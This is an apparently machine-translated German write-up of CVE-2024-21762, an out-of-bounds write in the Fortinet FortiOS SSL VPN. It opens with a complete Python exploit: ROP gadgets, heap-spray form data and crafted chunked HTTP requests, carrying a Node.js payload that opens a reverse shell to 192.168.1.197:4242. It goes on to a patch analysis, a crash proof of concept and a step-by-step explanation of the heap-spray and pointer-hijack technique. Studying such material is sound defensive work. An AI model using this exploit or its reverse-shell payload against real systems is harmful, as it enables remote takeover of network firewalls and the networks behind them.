
Out-of-Bounds-Schreibzugriff in der Fortinet-FortiOS-Sicherheitslücke CVE-2024-21762
Schreibzugriff außerhalb der Grenzen in Fortinet FortiOS – Schwachstelle CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate hat im Februar ein Versionsupdate veröffentlicht und mehrere mittlere bis hohe Schwachstellen behoben. Eine der schwerwiegenden Schwachstellen ist eine nicht autorisierte Out-of-Bounds-Schreibschwachstelle in SSL VPN. Die Schwachstellenwarnung weist darauf hin, dass diese Schwachstelle möglicherweise in freier Wildbahn ausgenutzt wird. Dieser Artikel stellt die Analyse des Autors zum Ausnutzungsprozess dieser Schwachstelle vor, um eine Remote-Code-Ausführung zu erreichen.

Die für die Schwachstellenanalyse in diesem Artikel verwendete Umgebung ist FGT_VM64-v7.4.2.F-build2571.
Beim Vergleich der Binärdateien der reparierten Versionen (7.4.2 und 7.4.3) ergab die Analyse, dass der Reparaturcode in der Funktion sub_18F4980 (7.4.2) liegt.

Bei der Analyse dieser Funktion ist es nicht schwer zu erkennen, dass die Logik dieser Funktion darin besteht, die Körperdaten der HTTP-POST-Anforderung zu lesen. Gleichzeitig wird Transfer-Encoding gemäß dem Anforderungsheader bestimmt, ob im Chunk-Format oder basierend auf Content-Length gelesen werden soll. Gemäß den Vergleichsergebnissen des Kontrollflussgraphen gibt es zwei Codeänderungen:
Beim Parsen des Chunk-Formats wird ap_getline aufgerufen, um die Chunk-Länge zu lesen und zu überprüfen, ob der Rückgabewert von ap_getline größer als 16 ist. Wenn er größer als 16 ist, wird dies als illegale Chunk-Länge betrachtet.

Beim Lesen des Chunk-Trailers stammt die Quelle des geschriebenen \r\n-Offsets aus der line_off-Zuweisungsquelle. Der Wert von line_off vor der Reparatur stammt von *(_QWORD *)(a1 + 744), und der Rückgabewert nach der Reparatur stammt von line_off von ap_getline.
Wenn man weiter rückwärts verfolgt, findet man, dass der Wert von *(_QWORD *)(a1 + 744) die Länge des Chunk-Längenfeldes der ersten Überprüfung ist.

Wenn man weiter rückwärts verfolgt, findet man, dass der Wert von *(_QWORD *)(a1 + 744) die Länge des Chunk-Längenfeldes der ersten Überprüfung ist.

Gleichzeitig kann man aus dem Code ersehen, dass beim Wert des Chunk-Längenfeldes nach Hex-Decodierung 0 die Logik zum Lesen des Chunk-Trailers gestartet wird.
Nach der Analyse des Patches können wir folgende Schlussfolgerungen ziehen:
ap_getline zum Lesen des Chunk-Trailers wird \r\n entsprechend der Länge des Chunk-Längenfeldes in den Puffer geschrieben.Wenn also viele Nullen im Chunk-Längenfeld übergeben werden und die Länge der Nullen größer als 1/2 der verbleibenden Pufferlänge ist, wird ein Out-of-Bounds-Schreibzugriff auf \r\n ausgelöst. Durch Debuggen kann festgestellt werden, dass sich der Zielpuffer auf dem Stack befindet (Funktion sub_1A111E0) , und die Rücksprungadresse ist an Offset 0x2028 gespeichert. Wenn \r\n an Offset 0x202e geschrieben wird, tritt ein Absturz aufgrund einer illegalen Adresse auf, wenn die Funktion zur Ausführung der ret-Anweisung zurückkehrt, um den RIP wiederherzustellen.
Crash-PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
Crash-Szene:

Durch die Analyse der Ursache der Schwachstelle ist ersichtlich, dass die Schwachstelle genutzt werden kann, um auf dem Stack \r\n (zwei Bytes) außerhalb der Grenzen zu schreiben, und der Bereich außerhalb der Grenzen liegt nahe bei 0x2000. Da der geschriebene Inhalt sehr begrenzt ist, kann RCE nicht durch direktes Hijacking des RIP erreicht werden. Daher muss man sich auf die auf dem Stack gespeicherten Speicherzeiger konzentrieren.
Was einem leichter einfällt, ist, das RBP zu hijacken und das niedrige Byte von RBP zu überschreiben, so dass RBP genau auf einen kontrollierbaren Speicherbereich zeigt. Wenn die übergeordnete Funktion zur Ausführung der ret-Anweisung zurückkehrt, kann der RIP vollständig gekapert werden. Bei der Überprülung wurde jedoch festgestellt, dass selbst wenn das RBP auf dem Stack überschrieben wird, weder der RSP noch der RIP gekapert werden können und das Programm nicht einmal abstürzt. Wenn man weiter zurückverfolgt, findet man die Elternfunktion sub_1A111E0 . Diese Funktion ruft bei ihrer Rückkehr nicht leave ret auf, um den RSP wiederherzustellen, sondern direkt add rsp, 0x18 , daher kann der erwartete Effekt nicht erzielt werden. sub_1A26040

Wie im vorherigen Abschnitt zu sehen, speichert die Funktion sub_1A26040 die Werte der fünf Register rbx und r12–r15 auf dem Stack und stellt diese Register bei der Rückkehr der Funktion wieder her. Bei der weiteren Rückverfolgung zur Elternfunktion sub_1A27650 kann man sehen, dass in r13 genau die Parameter a1 gespeichert sind.
a1 ist ein Strukturzeiger. Durch Debuggen kann auch gesehen werden, dass auf dem Stack (r13) eine Heap-Adresse gespeichert ist.

Wenn der im roten Bereich in der Abbildung dargestellte Speicher durch den Out-of-Bounds-Schreibzugriff überschrieben wird, dann wird beim Rücksprung der Funktion das r13-Register wiederhergestellt und der Wert des Zeigers kann manipuliert werden. Wenn der Heap-Speicher so angelegt werden kann, dass a1 auf einen vorher arrangierten Speicherbereich zeigt, kann die gesamte a1-Struktur gekapert werden. Gleichzeitig gibt es durch die Analyse der Codelogik von sub_1A26040 und sub_1A27650 eine große Anzahl dynamischer Funktionsaufrufe von a1-Mehrstufen-Struktur-Membern, daher wird es mehr Gelegenheiten geben, a1 zu kapern. sub_1A26040
Gemäß der Annahme kann a1 nach dem Überschreiben des niedrigen Bytes des a1-Zeigers durch \r\n auf den vorher arrangierten Speicher zeigen. Wie die Abbildung zeigt:

Um diesen Effekt zu erzielen, müssen folgende Bedingungen erfüllt sein:
Die Adresse der a1-Struktur ist höher als die Adresse des Heap-Spray-Bereichs, und der Abstand zwischen ihnen ist sehr gering.
0x7fxxxxxxx0a0d muss auf die gefälschte Struktur zeigen.
Durch Debuggen kann die Größe der a1-Struktur mit 0x730 ermittelt werden. Gemäß den Ausrichtungsregeln von jemalloc wird ein Heap-Block der Größe 0x800 zugewiesen. Der 0x800-Heap-Block wird während der Anforderungsverarbeitung nicht häufig verwendet, daher ist es einfach, den 0x800-Heap-Block im tcache zu erschöpfen und gleichzeitig mehr neue 0x800-Blöcke anzufordern, so dass sie nach der Freigabe in den tcache gelangen können. Das Heap-Spray wählt ebenfalls ungewöhnliche Blockgrößen aus, sodass die neu angeforderten Heap-Blöcke zusammenhängend und nahe an den neu angeforderten 0x800-Blöcken sind. Das Heap-Spray verwendet größere Heap-Blöcke, um sicherzustellen, dass ihre Adressen mit 0x800 ausgerichtet sind, sodass die unteren 12 Bits jeder gefälschten Strukturadresse leicht als 0xa0d sichergestellt werden können. Der Heap-Spray-Bereich ist nicht kleiner als 0x10000, um sicherzustellen, dass er auf den Heap-Spray-Bereich zeigt. Der Effekt nach dem Hijacking sieht wie folgt aus: 0x7fxxxxxxx0a0d

Durch die oben genannten Operationen kann das Hijacking der a1-Struktur erreicht werden. Bei der Durchsicht des Codes der Funktionen sub_1A27650 und sub_1A26040 gibt es viele dynamische Aufrufe von Zeigern der zweiten und dritten Ebene der a1-Struktur-Member, zum Beispiel:

Wenn (0<N<5) erfüllt ist, wird *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1) dynamisch aufgerufen. Daher muss der Member a1 + 0x298 zu einem Mehrstufen-Zeiger gefälscht werden, der letztendlich auf die Funktion zeigt, die wir aufrufen möchten. Da das Ziel-Binary keinen PIE-Schutz aktiviert hat, können qualifizierte Mehrstufen-Zeiger im Ziel-Binary gefunden werden. Bei der Analyse des Binaries kann festgestellt werden, dass der erste auf die GOT-Tabellenadresse der entsprechenden Funktion zeigt.


Daher kann man am Beispiel von Funktionen qualifizierte Mehrstufen-Zeiger system finden.

Während des Heap-Sprayings kann das Ändern des Werts an Offset 0x298 der Struktur verwendet werden, um die Systemfunktion aufzurufen. Der Effekt ist wie folgt: 0x4368d0

Wie in der Abbildung gezeigt, ist der Parameter des dynamischen Aufrufs genau a1, und der Speicher, auf den gezeigt wird, ist kontrollierbar. An diesem Punkt kann die Systemfunktion normal verwendet werden, um einen beliebigen Befehl auszuführen. In FortiGate hat die Datei /bin/sh jedoch nicht die Fähigkeit, Befehle auszuführen, daher kann die Verwendung der Systemfunktion zur Befehlsausführung nicht erfolgreich durchgeführt werden.
Da die Systemfunktion keine Befehle ausführen kann, müssen wir andere Wege finden, um RCE abzuschließen. Die bestehende Bedingung ist, dass jede GOT-Tabellenfunktion aufgerufen werden kann und der Speicher, auf den der erste Parameter der Funktion zeigt, kontrollierbar ist. Wenn es daher eine Funktion in der GOT-Tabelle gibt, die ein bestimmtes Mitglied des Parameters zurückruft, besteht eine Chance, RIP zu hijacken. Es ist leicht, an Funktionen zu denken, die in früheren FortiGate-Exploits oft verwendet wurden: SSL_do_handshake

Man muss nur die SSL-Struktur so konstruieren, dass die Bedingungen erfüllt sind und der endgültige Aufruf s->handshake_func(s) realisiert wird, um das RIP zu hijacken und das RIP auf 0xdeadbeef zu kapern, wie in der Abbildung gezeigt.

Das Hauptprogramm von FortiGate ist ein All-in-One-Binary mit einer Größe von über 70 MB. Es gibt eine große Anzahl nutzbarer Gadgets. Es ist nicht schwierig, RCE mit ROP zu implementieren, daher wird hier nicht ins Detail gegangen.
Obwohl der Webmodus in SSL VPN Version 7.4.2 standardmäßig deaktiviert ist und der Browserzugriff 403 zurückgibt, kann diese Schwachstelle dennoch in der Standardkonfiguration ausgenutzt werden.

Diese Schwachstelle ähnelt der Heap-Overflow-Schwachstelle, die letztes Jahr durch XOR verursacht wurde (CVE-2023-27997). Beides sind scheinbar nutzlose Overflow-Schwachstellen. Der Ausnutzungsprozess ist kniffliger und ähnelt eher einer CTF-Aufgabe. Im Vergleich zu traditionellen CTF-Problemen, die Heap-Manager angreifen, erfordern echte Schwachstellen jedoch mehr Kontextstrukturen und Codelogik, um ausgenutzt zu werden. Das Niveau des Autors ist begrenzt. Wenn Fehler vorhanden sind, korrigieren Sie mich bitte.